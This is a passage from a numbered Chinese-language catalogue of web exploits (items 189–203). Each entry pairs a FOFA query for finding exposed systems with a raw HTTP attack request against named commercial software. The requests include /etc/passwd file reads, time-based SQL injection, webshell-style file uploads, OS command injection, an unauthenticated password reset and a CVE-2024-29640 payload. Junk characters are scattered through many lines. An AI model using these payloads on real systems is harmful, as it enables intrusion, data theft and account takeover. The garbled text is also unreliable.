) U; W& ~5 i. B" F: \GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 b4 z5 _$ U# |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 D& k1 G6 o# D9 R! |Accept-Encoding: gzip, deflate
& j" X' n& a3 l6 Y  zAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
' X& b9 Y8 L9 y/ L+ WConnection: close

& m) L! C8 T- V0 p" T& F9 `9 L" r
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
2 r8 V2 U; ~5 O/ ?3 tGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
% v' t) F, u$ p
! V2 @- S- d) X9 j7 [* m
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
2 D8 U5 m4 i. |% nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
, }* g% K: F" Z: j9 x' O7 Q7 r6 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
: b* P. p# I4 a) m9 o4 fAccept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd


1 C* |4 k- ?4 F1 x191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

" e; o4 I5 n5 Ycommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
  e& P( L# z7 Q9 T( }

1 ~  {2 h$ X7 R" B* V% g192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
6 D7 x* n# |0 u! b) ?4 Q+ ?FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
' n  `& d' M5 Z9 pHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
6 r# o+ X! p. s1 D7 b$ u6 F# L* o5 VContent-Type: application/x-www-form-urlencoded


+ K0 Y' i4 _# i. }( W<% @ webhandler language="C#" class="AverageHandler" %>
( c4 e( p1 X. m( `  iusing System;
* M6 K" D& Q$ d/ }using System.Web;
2 p  t2 a) |3 ypublic class AverageHandler : IHttpHandler
9 x1 z$ y% s" b{
3 |. l- U7 ^3 w: ~) x2 c0 v0 Wpublic bool IsReusable
{ get { return true; } }
& f$ O; W. C" y( v5 s' f, |. [public void ProcessRequest(HttpContext ctx)
9 Y# [( c6 P. ^5 u. j5 s{
6 Z4 [2 U6 R! f5 n5 F9 Bctx.Response.Write("test");
}
, r1 m3 H% o. ?1 s( Y, {}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
% f' R& i, y# p% ?( _0 T. O. a1 n- }Host:
; }2 y9 S2 W9 o+ n5 k3 uCookie: PHPSESSID=2333333333333;
& K; N6 u) L' @0 }Content-Type: application/x-www-form-urlencoded
7 U# q9 ]3 l+ fUser-Agent: Mozilla/5.0
( N8 f! f& n. g. S6 b9 U

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
# l1 x9 m) z3 ^! x; ?4 v, S# n5 FHost:
5 @# U$ [) z3 ^1 J2 `& wUser-Agent: Mozilla/5.0
, H! K1 M+ ^. V& u4 h/ FAccept-Encoding: gzip, deflate
( O9 h; t: e2 ^Accept: */*
Connection: close
- x) X1 G6 V% ?% FCookie: PHPSESSID=2333333333333;
! q, t6 ]% D! OContent-Type: application/x-www-form-urlencoded
9 S8 J( o  j$ PContent-Length: 84
  E& a; ?2 I  y' s1 w* o
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

2 E, X0 f: s4 Z& c
  H' `' F5 W2 s  \6 c- uGET /master/img/config HTTP/1.1
Host:
' Q  B: x0 Q6 K1 q: P/ o- b- ]. JUser-Agent: Mozilla/5.0
3 f: |6 c+ G, q5 }

. Y0 [- z. W9 _( k5 w5 z" N194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

( k# Z4 H$ I/ {" U8 C8 b; iPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
2 K: X: h/ e: S8 d' h8 x  zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
, U* G6 S) y8 l6 ^5 EConnection: close
7 d% _- z6 S5 F  L8 e0 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
6 b# G: ^7 r/ a5 i. W
- K6 t6 G" [1 r/ R# WContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
; r' S  P) K. w8 D9 D6 H) l& G  XContent-Type: text/plain
<% out.println("hello");%>
, _6 r5 F4 ~0 |: J------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


- {. p1 ~5 v1 `; Y* P3 ]% a+ b/ @195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
7 ?! Y% r' @) z) L8 h' q. r4 xPragma: no-cache
Cache-Control: no-cache
$ q$ {0 }1 r/ u# W8 _7 C- vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
" c- d1 c" a, W" d1 ZAccept: */*
Accept-Encoding: gzip, deflate
2 }1 j0 n; o! n- C$ W0 S: j8 DAccept-Language: zh-CN,zh;q=0.9
% V; k$ Y8 {, R1 rConnection: close
Content-Type: application/x-www-form-urlencoded
, S# W6 @/ _- I% D* X# K1 dContent-Length: 68
6 j& z1 z$ s' m6 e7 A( a
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
" U  X! \& _, G! h1 ?
, C0 N/ ~$ e  J. O. L7 D4 E
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
( ~  X  ~# A. r, kPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
7 T! N; [/ J- T+ A' sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
: H7 Y$ P6 K* L- X7 q8 yX-Requested-With: XMLHttpRequest
) a  Q$ g0 R3 m. u! |& YHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
: t; f' l8 q/ p# hContent-Length: 45
Connection: close

/ g( x, O3 s/ v9 V4 D; T{"xgh":"test","newPass":"test666","email":""}
( v; t4 d, m" R' K) S
1 Q5 k( d, R( |, c' U

) {5 M: l1 ?5 c1 k& B: z5 w1 S197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
0 h' U. ?1 n/ q* B; w) {Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
+ X0 k2 [. @% T7 X" q7 BAccept-Encoding: gzip, deflate
. N! K" n6 P2 JConnection: close
  i8 F& v, l3 n

8 u- z" }0 r. Z+ G$ N
: a$ [8 I8 S) c) e4 Y' ~2 x198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
2 }$ e( J6 U+ w, DAccept-Encoding: gzip, deflate
3 ?& V. U/ _8 c9 x/ l7 u6 _Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


- r6 `% y) V( W% m) S3 E199. cockpit系统assetsmanager_upload接口 文件上传
2 W1 G8 S8 D0 X1 n* F/ o
  }' s8 I/ R" L7 Y1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
3 |2 E3 G+ X7 BGET /auth/login?to=/ HTTP/1.1
2 {9 K3 q2 v3 e' A6 N4 x
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
0 y- D" H7 s; H
1 H& @: U, X- ]& C2.使用刚才上一步获取到的jwt获取cookie：
$ p* ^4 j# ?% I: {
POST /auth/check HTTP/1.1
8 N3 e1 L9 C# D2 I  ]/ sContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
3 m6 S+ N  s5 M6 ~) x" ?4 bSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
0 K  U- x  s% G. }Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
( D$ Y! P* ]. A9 ?1 vCookie: mysession=95524f01e238bf51bb60d77ede3bea92

/ ]) ?9 Z% P. f1 |$ A-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
3 H7 n$ S& ~; C8 rContent-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
7 n: F2 N) Y0 P- p7 bContent-Disposition: form-data; name="folder"
3 S5 ~* _% A4 }/ }- {8 }: [
-----------------------------36D28FBc36bd6feE7Fb3--
/ S! R) I& o$ X* H( B

/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
! r3 o4 F- j1 F& j9 @Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 d' S  X6 |: z* y% MAccept-Language: zh-CN,zh;q=0.9


$ S& j' n/ _$ O5 y201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
& r. L9 t; j* l: M7 }7 uContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ T% ]4 w) ?! ~9 j6 pConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


- U! D7 q% Z4 F( y202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
1 E5 M' D1 E( c( O9 X; D5 J获取__VIEWSTATE和__EVENTVALIDATION值
% d5 c' k2 l$ Z0 g3 F% H+ S% G" lGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
6 ~. W6 L& }4 F$ h  d3 w( mPOST /User/AccountEdit.aspx HTTP/1.1
/ K- U4 P" Q1 n* SAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
  L0 N! {0 |. E  s. q# ?
-----------------------------786435874t38587593865736587346567358735687
6 q4 L3 t, f7 e5 D, J3 ^4 W9 NContent-Disposition: form-data; name="__VIEWSTATE"
+ J) N- @) F7 S4 ]
0 [+ S: e/ f: G; o- S  s( n: {. L3 p( {__VIEWSTATE
- @- X3 _6 z$ p5 E0 i  e; u  a-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
4 _9 e) }  V  b6 q1 ^6 X-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
/ i$ O4 O2 d: t8 Z
Hello World!
/ U9 n# b" |- V2 D) ^/ ?-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
1 g: G! h) `' Y

-----------------------------786435874t38587593865736587346567358735687
# ^, T1 w1 T/ H, qContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
7 O4 g+ {2 G: p- ^4 M. ~5 x
; H8 k) e' L  ^( @3 i, y- F
8 t% W; Z: r1 X3 B$ u-----------------------------786435874t38587593865736587346567358735687--
3 X' a. x8 ?; j- A
) p* h- L7 t* X4 b; D/ A- `* l
/_data/Uploads/1123.txt

% u6 Z& t" _0 E# v' }203. 红海云EHR PtFjk 文件上传
# ]6 z; V. f( xFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
- c1 e& T0 @' l- a3 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
) P- K" V/ ~0 X( W) M$ A  S
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
, v& @( a7 V; M  I& k1 lContent-Type:image/jpeg

% n! \$ z' u& S; l- {1 D+ H1 q<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
4 a8 j; u) c/ |* d& G

$ r' P6 E2 x0 {5 [) ?2 w: w# }1 p

, r' [) ~% |/ e8 M% ~( g1 h. H
3 @' M: `+ m  }
5 p8 C* h3 i8 }0 q0 d$ @